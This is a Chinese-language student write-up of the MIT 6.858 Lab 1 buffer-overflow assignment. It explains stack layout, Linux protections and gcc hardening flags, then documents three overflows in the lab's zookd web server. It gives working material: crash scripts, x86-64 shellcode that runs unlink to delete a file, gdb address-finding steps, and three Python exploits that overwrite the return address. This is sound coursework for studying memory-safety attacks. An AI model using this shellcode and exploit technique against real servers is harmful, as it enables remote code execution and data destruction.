概述
1.前置知识
1.1 进程地址空间
1.2 函数调用栈
1.3 攻击自己的代码
- 根据栈布局找到返回地址的位置
- 找到需要跳转到的函数地址
- 将返回地址处的内容改为函数地址
1.4 攻击别人的代码原理
- 需要有一段生成shell的可执行代码
- 能够找到一个返回地址
- 用shellcode覆盖返回地址
1.5 攻击别人的代码方法
-
取消栈地址随机化
-
将shellcode填充在large_string的中部,前面一律填充为NOP指令
-
组成为:一段NOP命令 + shellcode + 猜测的地址
1.6 linux程序常用保护机制
-
CANNARY: 栈保护
-
fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。
-
-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
-
-fno-stack-protector:禁用堆栈保护。
-
-
FORTIFY:检查缓冲区溢出的错误
- 适用情形是程序采用大量的字符串或者内存操作函数,如memcpy,memset,stpcpy,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets以及宽字符的变体。
- gcc -o test test.c // 默认情况下,不会开这个检查
- gcc -D_FORTIFY_SOURCE=1 -o test test.c // 较弱的检查
- gcc -D_FORTIFY_SOURCE=2 -o test test.c // 较强的检查
-
NX(DEP):栈不可执行
- gcc -o test test.c // 默认情况下,开启NX保护
- gcc -z execstack -o test test.c // 禁用NX保护
- gcc -z noexecstack -o test test.c // 开启NX护
-
PIE(ASLR): 内存地址随机化
- gcc -o test test.c // 默认情况下,不开启PIE
- gcc -fpie -pie -o test test.c // 开启PIE,此时强度为1
- gcc -fPIE -pie -o test test.c // 开启PIE,此时为最高强度2
- gcc -fpic -o test test.c // 开启PIC,此时强度为1,不会开启PIE
- gcc -fPIC -o test test.c // 开启PIC,此时为最高强度2,不会开启PIE
-
RELRO: 全局符号表攻击
2.环境配置
2.1 安装虚拟机
- 选用vmware
- 创建虚拟磁盘,选择6.858-x86_64-v20.vmdk作为磁盘,删除原有磁盘
- 开启虚拟机输入账号 student 密码 6858
- 最后得到界面如下:
2.2 ssh连接到虚拟机
- 查看ip
ip addr show dev eth0
- ssh连接到虚拟机
ssh -p 2222 student@192.168.121.136
2.3 实验内容
-
下载实验内容
git clone https://web.mit.edu/6858/2022/lab.git
-
构建文件
cd lab make
3 实验内容
3.1 bufferflow
3.1.1 zookd.c函数功能
- start_server: 开启某个特定端口并开始监听
- run_server: 开启服务器,创建子进程处理连接上来的请求
- process_client:对用户发来的请求进行解析,分别解析请求行和请求头部
- http_read_line: 从http报文中读取一行,用size限制了长度,将结果保存在了buf中
- http_request_line: 分别解析了 请求方法、url、请求协议、并添加到环境变量中
- http_request_headers: 读取http报文,并分离处key和value,将value传递给url_decode解析,并添加到环境变量。
- url_decode:解析value,处理’src为%'、 ‘+’、 和其他情况。
- http_serve: 服务端程序,分为处理可执行文件、文件夹、文件三种
- http_serve_executable: 返回可执行文件
- http_serve_dirctory: 返回文件夹操作
- http_serve_server_file:返回文件服务操作
3.1.1 bufferflow1
-
在http_request_header调用了sprintf函数,这是一个不安全的函数,函数有三个参数,envvar、”HTTP_%s"、 buf。这个函数的作用是先将"HTTP__"和buf拼接,然后复制到envvar中,这里buf的最大长度是8192,而envvar长度是512,我们可以将buf溢出到返回地址中,这里buf为http头部的key,我们可以选择将2000个’A’填充在buf中,最后得到的POC如下:
def build_exploit(shellcode): req = b"GET" req = req + b" / HTTP/1.0rn" for i in range (2000): req = req + b"A" req = req + b": abc.comrn" req = req + b"rn" return req
3.1.2 bufferflow2
-
在http_request_line中调用了url_decode函数,这里传入了参数reqpath和sp1,作用是将sp1处的字符串拷贝到reqpath地址处,但url_decode此处并不做长度的检查。reqpath的长度为4096,而sp1这里最长可以达到8192,因此我们可以考虑将sp1指向的内容设置为5000,这里溢出的内容可以覆盖到返回地址,最终使得程序崩溃。根据上述考虑,我们得到的POC如下:
def build_exploit(shellcode): req = b"GET /" for i in range(5000): req = req + b"A" req = req + b" HTTP/1.0rn" req = req + b"rn" return req
3.1.3 bufferflow3
-
在http_request_header中同样调用了url_decode,这里传入的参数是value和sp,这里value的长度是512,而sp的长度是8192,和上面一样,但这里我们需要修改的内容是http报文头部,得到的POC如下:
def build_exploit(shellcode): req = b"GET / HTTP/1.0rn" req = req + b"HOST: " for i in range(2000): req += b"C" req += b"rn" req += b"rn" return req
-
实验结果
3.2 shellcode
3.2.1 gdb调试
-
开启程序zookd程序
./clean-env.sh ./zookd-exstack 8080 &
-
开启gdb,并打上断点
gdb -q -p $(pgrep zookd-)
-
连接上服务器
curl 192.168.121.136:8080
-
找到http_request_headers的返回地址
3.2.2 编写unlink汇编程序
-
执行脚本
// 多余一个参数时,后面要加上一个NULL argv = {"bin/unlink", "home/student/grades.txt", NULL}; envp = {0}; execve("bin/unlink", argv, envp);
-
定义string
#define STRING "/usr/bin/unlink_/home/student/grades.txt" #define STRLEN 40 #define ARGV (STRLEN + 1) #define ENVP (ARGV+24) #define OFFSET 16
-
传递参数
popq %rcx # 将STRING的地址载入参数 movq %rcx, (ARGV)(%rcx) # 将STRING的地址放入argv0中 leaq (OFFSET)(%rcx), %rax # 取处argv1的地址 movq %rax, (ARGV+8)(%rcx) # 填写argv1的地址 xorq %rax, %rax # 清0 movq %rax, (ARGV+16)(%rcx) # argv2=NULL movq %rax, (ENVP)(%rcx) # 填写envp为0 movb %al, (OFFSET - 1)(%rcx) # 第一个参数的结束字符设为0 movb %al, (STRLEN)(%rcx) # 填写string的结束字符
-
系统调用
movb $SYS_execve,%al # 系统调用号 movq %rcx,%rdi # string地址 leaq ARGV(%rcx),%rsi # argv地址 leaq ENVP(%rcx),%rdx # envp地址 syscall
-
汇总
include <sys/syscall.h> #define STRING "/usr/bin/unlink_/home/student/grades.txt" #define STRLEN 40 #define ARGV (STRLEN + 1) #define ENVP (ARGV+24) #define OFFSET 16 .globl main .type main, @function main: jmp calladdr popladdr: popq %rcx movq %rcx, (ARGV)(%rcx) leaq (OFFSET)(%rcx), %rax movq %rax, (ARGV+8)(%rcx) xorq %rax, %rax movq %rax, (ARGV+16)(%rcx) movq %rax, (ENVP)(%rcx) movb %al, (OFFSET - 1)(%rcx) movb %al, (STRLEN)(%rcx) movb $SYS_execve,%al movq %rcx,%rdi leaq ARGV(%rcx),%rsi leaq ENVP(%rcx),%rdx syscall xorq %rax,%rax /* get a 64-bit zero value */ movb $SYS_exit,%al /* set up the syscall number */ xorq %rdi,%rdi /* syscall arg 1: 0 */ syscall /* invoke syscall */ calladdr: call popladdr .ascii STRING
-
测试
make ./run-shellcode shellcode.bin
-
成功删除grades.txt!
3.2.3 exploxit解法1 (基于bufferflow1)
-
一个比较自然的想法就是利用bufferflow1,根据缓冲区溢出的原理,我们需要得到返回地址($rbp+8)和envvar的地址。
(gdb) b http_request_headers # 打断点 (gdb) c # 运行 (gdb) layout reg # 查看寄存器布局 (gdb) p $rbp # ebp上即为返回地址 $1 = (void *) 0x7fffffffdcc0 # 故返回地址为0x7fffffffdcc8 (gdb) n # 执行一步 (gdb) p &envvar # 查看envvar的地址 $2 = (char (*)[512]) 0x7fffffffd890 # 数组地址为0x7fffffffd890
-
根据返回地址和数组地址填充buff, 将buf部分设置为shellcode + 填充字符 + buffer地址。考虑到envvar中含有额外的5个字符HTTP_,填充时需要除去这个5个字符,在返回地址中要加上5.
stack_buffer = 0x7fffffffd890
stack_retaddr = 0x7fffffffdcc8
def build_exploit(shellcode):
shellcode = open("shellcode.bin", "rb").read()
req = b"GET"
req = req + b" / HTTP/1.0rn"
req = req + shellcode + b"A"*(stack_retaddr - stack_buffer - len(shellcode) - 5)
req = req + struct.pack("<Q", stack_buffer + 5)
req = req + b": abc.comrn"
req = req + b"rn"
return req
-
让人遗憾的是,返回地址为0x00007fffffffdcc8.这里由于返回地址含有0x00这个byte,因此导致readline读到了0x00这个字符直接截断了整个字符串,这样会导致程序提前中断。但幸运的是http_request_headers会将":"和后面的空格设置为0,这样恰好为我们凑出来两个0x00地址,我们只需要除去地址后面的两个0即可,修改后的代码如下:
stack_buffer = 0x7fffffffd890 stack_retaddr = 0x7fffffffdcc8 def build_exploit(shellcode): shellcode = open("shellcode.bin", "rb").read() req = b"GET" req = req + b" / HTTP/1.0rn" req = req + shellcode + b"A"*(stack_retaddr - stack_buffer - len(shellcode) - 5) req = req + struct.pack("<Q", stack_buffer + 5) # 添加返回地址 req = req[:-2] # 删除后面两个0 req = req + b": abc.comrn" req = req + b"rn" return req
-
但经过调试了整整半天发现,这里存在一个十分隐蔽的bug,在http_requset_headers中存在如下代码段,这里将所有的字母转成了大写,这样不知不觉的改变了我们写的shellcode,要想改变这种情况,只能删掉这段代码。
for (i = 0; i < strlen(buf); i++) { buf[i] = toupper(buf[i]); if (buf[i] == '-') buf[i] = '_'; }
-
删掉这段代码后,重新编译能够实现删除文件的操作,但无法通过测试,只能寻找更为完备的解法。
3.2.4 exploxit解法2 (基于bufferflow2)
-
想要不修改http.c,必须处理两个棘手的问题
- 怎么防止0x00被readline截取?这里我们可以直接删去后两个0x00,我们可以利用栈中的初始化的缺省0刚好凑出正确的地址。
- 如何防止shellcode被中间程序中的字符串处理隐蔽的修改的?幸运的是,剩下两个offerflow都不会出现这样的字符串处理。
-
针对这个漏洞,我们需要找到进入reqpath和返回地址,我们进入http_request_path中gdb调试即可。除此之外,shellcode的最前方存在一个’/'字符,我们需要在处理时要注意这一点。最终得到的结果如下:
stack_buffer = 0x7fffffffdce0 stack_retaddr = 0x7fffffffecf8 def build_exploit(shellcode): shellfile = open("shellcode.bin", "rb").read() req = b"GET /" req += shellcode + b"A"*(stack_retaddr - stack_buffer - len(shellcode) - 1) req += struct.pack('<Q', stack_buffer + 1) # 跳过'/’字符 req = req[:-2] req += b" HTTP/1.0rn" req += b"rn" return req
-
最终通过测试!
3.2.5 exploxit解法3 (基于bufferflow3)
-
做到这里,所有的bug我们已经全部踩完,针对bufferflow3的shellcode是三个里面最简单的。我们只需要gdb处value和返回地址即可。针对这个的bufferflow也是实现起来最简单的一个。
-
stack_buffer = 0x7fffffffda90 stack_retaddr = 0x7fffffffdcc8 def build_exploit(shellcode): shellfile = open("shellcode.bin", "rb").read() req = b"GET / HTTP/1.0rn" req += b"EXP: " req += shellcode + b"A" * ((stack_retaddr - stack_buffer) - len(shellcode)) req += struct.pack('<Q', stack_buffer) req += b"rn" return req
-
这个很顺利能够通过测试!
3.3 总结
- 整个实验过程耗费了2天半,其中配置环境花了半天,bufferflow花了半天,针对exploxit1的调试花了整整一天,一直调试到凌晨两点,后面两个exploxit总共花了半个下午完成。
- 虽然过程很艰辛,但看到"PASS"的同时心中还是感到一丝欣慰。
最后
以上就是落后眼睛为你收集整理的Mit 6.858 Spring 2020 Lab 1: Buffer overflows的全部内容,希望文章能够帮你解决Mit 6.858 Spring 2020 Lab 1: Buffer overflows所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复